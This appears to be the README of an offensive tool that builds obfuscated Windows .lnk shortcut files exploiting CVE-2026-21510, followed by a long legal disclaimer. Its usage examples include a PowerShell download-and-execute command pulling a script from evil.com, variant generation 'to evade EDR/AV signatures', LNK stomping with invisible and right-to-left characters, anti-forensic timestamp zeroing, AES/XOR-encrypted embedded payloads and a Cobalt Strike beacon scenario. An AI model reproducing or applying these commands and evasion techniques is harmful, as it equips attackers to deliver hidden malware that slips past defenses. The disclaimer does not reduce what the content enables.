EpSiLoNPoInTlnk

Generates obfuscated .lnk files exploiting CVE-2026-21510 with LNK stomping, encrypted payloads, and anti-forensics for authorized penetration testing and red team operations.

Example 2: Generating 10 Random Variants python lnkstomperpoint.py
--target "C:\Windows\System32\powershell.exe"
--args "-nop -ep bypass -c IEX (New-Object Net.WebClient).DownloadString('http://evil.com/shellcode.ps1')"
--generate-variants 10
--output-dir ./variants Creates 10 unique variants to evade EDR/AV signatures.

Example 3: Minimalist Mode (for testing) python lnkstomperpoint.py
--target "C:\Windows\System32\notepad.exe"
--obfuscation False
--anti-forensics False
--output minimal_exploit.lnk Generates a non-obfuscated .lnk file (for analysis or debugging).

Technical Operation

1. .LNK Structure The generated .lnk file follows the MS-SHLLINK specification with the following extensions:

ShellLink Header (0x4C fixed bytes + offsets): LinkCLSID: 00021401-0000-0000-C000-000000000046 (mandatory). LinkFlags: Configured to enable HasRelativePath, HasWorkingDir, IsUnicode, etc.

StringData: RelativePath: Target path (with LNK Stomping if enabled). WorkingDir: Working directory (e.g., C:\Windows\System32). Arguments: Obfuscated arguments (PowerShell, cmd, etc.).

ExtraData Blocks (critical order): PropertyStoreDataBlock: Contains PKEY_AppUserModel_ID (random CLSID). KnownFolderDataBlock: Points to a system folder (e.g., %SystemRoot%). EnvironmentVariableDataBlock: Forces variable expansion before the Mark-of-the-Web (MotW). Obfuscation Blocks (depending on obfuscation_level): TrackerDataBlock (Level 1) ConsoleDataBlock (Level 2) DarwinDataBlock, ShimDataBlock, etc. (Levels 3-5)

Embedded Payload (if --embed-payload): Encrypted with AES-256-CBC + XOR.

2. Bypass Techniques Technique Description Impact LNK Stomping Adds invisible characters (., , \u202e) to the target path. Bypasses detections based on path signatures. PropertyStore Uses PKEYs with random CLSIDs to evade signatures. Avoids YARA/EDR rules targeting known CLSIDs. KnownFolder Points to system folders (%SystemRoot%, %Temp%). Bypasses absolute path restrictions. EnvironmentVariable Obfuscates the path with variables (%TEMP%, %APPDATA%). Avoids static detections. Obfuscation Level 5 Adds random ExtraData blocks and padding. Makes static analysis difficult. Anti-Forensics Sets timestamps, file size, etc., to 0. Complicates forensic analysis. Obfuscated Arguments Uses PowerShell techniques (Base64, XOR, Reverse). Bypasses malicious command detections.
3. Payload Encryption If --embed-payload is enabled:

The payload is encrypted with AES-256-CBC (random 32-byte key, 16-byte IV).

An XOR layer is applied using the first 16 bytes of the AES key.

The key and IV are stored in a ShimDataBlock for later decryption.

Testing and Validation

1. Automatic Validation The generator includes a _validate() function that checks:

The minimum file size.

The validity of the HeaderSize and CLSID.

The presence of the required LinkFlags.

The structure of the ExtraData blocks (PropertyStore, KnownFolder, etc.).

2. Manual Tests Static Analysis: Use PEStudio to verify the .lnk structure. Check that the ExtraData blocks are properly present.

Execution (in an isolated environment): Double-click the .lnk file and observe the behavior. Use Process Monitor (ProcMon) to analyze system calls.

EDR/AV Detection: Test with tools like Windows Defender or CrowdStrike. If the .lnk file is detected, increase the obfuscation_level or disable certain options.

Use Cases Scenario Command Description Penetration Test --target "C:\Windows\System32\cmd.exe" --args "/c whoami" Checks whether the exploit works on a target machine. Red Team --embed-payload ./cobaltstrike_beacon.bin --obfuscation-level 5 Generates a .lnk file with an obfuscated Cobalt Strike payload. Research --generate-variants 50 --output-dir ./samples Creates 50 variants to test EDR detections. Debug --debug --obfuscation False Displays detailed logs to analyze the .lnk structure. Contributions Contributions are welcome! Here is how to contribute:

Fork the project.

Create a branch (git checkout -b feature/my-new-feature).

Commit your changes (git commit -m "Added feature X").

Push to the branch (git push origin feature/my-new-feature).

Open a Pull Request. Contribution Ideas:

Add new LNK Stomping variants.

Implement other encryption algorithms (e.g., ChaCha20).

Improve argument obfuscation (e.g., using JScript).

Add unit tests to validate .lnk structures.

License This project is licensed under the MIT License. See the LICENSE file for more details.

Disclaimer 🚨 Disclaimer

📜 DISCLAIMER

Read carefully before using this tool.

⚠️ EXPLICIT LEGAL WARNING

The user of this tool (hereinafter referred to as "the User") acknowledges and expressly accepts the following terms:

Legal Use Only

This tool is exclusively intended for legal and authorized use, such as:

Computer security research in an academic or professional setting.

Penetration testing (pentest) on systems for which the User has written authorization from the owner.

Vulnerability analysis in controlled environments (e.g., security labs, CTFs, authorized bug bounty programs).

Any other use is strictly prohibited and may constitute a criminal offense in many jurisdictions, including (but not limited to):

France: Law No. 88-19 of January 5, 1988 (Loi Godfrain), Articles 323-1 to 323-7 of the Penal Code (fraudulent access, data modification, etc.).

European Union: Directive 2013/40/EU on attacks against information systems.

United States: Computer Fraud and Abuse Act (CFAA), 18 U.S. Code § 1030.

Other countries: Equivalent local laws (e.g., Computer Misuse Act in the United Kingdom).

No Warranty

The Author (EpSiLoNPoInT) provides no warranty, express or implied, regarding:

The reliability, accuracy, or usefulness of this tool.

The absence of bugs or vulnerabilities in the code.

Compatibility with all systems or environments.

The results obtained when using the tool.

The User assumes all risks related to the use of this tool, including (but not limited to):

Hardware or software damage caused to their own system or third-party systems.

Legal consequences in the event of violation of applicable laws.

Data loss or service interruptions.

Limitation of Liability

Under no circumstances shall the Author, contributors, or any other party involved in the creation, production, or distribution of this tool be held liable for:

Any damages whatsoever (direct, indirect, incidental, special, exemplary, or consequential), including (but not limited to):

Loss of profits.

Data loss or file corruption.

Damage to reputation.

Legal proceedings or fines incurred by the User.

Even if the Author has been informed of the possibility of such damages.

Compliance with Laws and Regulations

The User agrees to comply with all laws, regulations, and standards applicable in their jurisdiction, including (but not limited to):

Data protection laws (e.g., GDPR in the EU).

Cybersecurity and computer fraud laws.

The security policies of their employer or organization.

The User shall indemnify and hold harmless the Author from any claim, damage, or expense (including legal fees) arising from a violation of these laws or commitments.

Prohibition of Malicious Redistribution

The User is expressly forbidden from:

Selling, renting, or redistributing this tool for malicious purposes.

Modifying the code to turn it into a cybercriminal weapon (e.g., ransomware, spyware).

Using this tool to target critical infrastructure (e.g., hospitals, governments, banks) without explicit authorization.

Sharing this tool with third parties without communicating this disclaimer to them.

Exclusion of Liability for Third Parties

This tool may interact with third-party libraries (e.g., pycryptodome).

The Author does not control and is not responsible for the actions or vulnerabilities of these libraries.

The User must verify the license and security of any dependency used.

Use at Your Own Risk

By using this tool, you fully and unreservedly accept the terms of this clause.

If you do not agree with these terms, do not use this tool and immediately delete all copies in your possession.

Jurisdiction and Applicable Law

This clause is governed by and interpreted in accordance with the laws of the French Republic.

Any dispute arising from or related to this clause or the use of this tool shall be subject to the exclusive jurisdiction of the courts of Paris (France).

🔐 Security Recommendations

For safe and legal use of this tool: ✅ Always isolate tests in a virtual environment (e.g., VirtualBox, VMware). ✅ Obtain written authorization before testing on systems you do not own. ✅ Disable network connections on test machines to prevent accidental leaks. ✅ Use monitoring tools (e.g., Wireshark, Process Monitor) to analyze behavior. ✅ Report vulnerabilities responsibly (e.g., via bug bounty programs). ❌ Never test on production systems without authorization. ❌ Do not share generated exploits with unauthorized individuals. ❌ Do not store malicious payloads on publicly accessible systems.

📞 Contact

For any legal or technical questions regarding this tool:

Author: EpSiLoNPoInT

Email: [email protected]

GitHub: EpSiLoNPoInTOrI

⚠️ Note: The Author will not provide any support for illegal or unethical uses of this tool.

📅 Clause Date

Last updated: May 9, 2026 Version: 1.0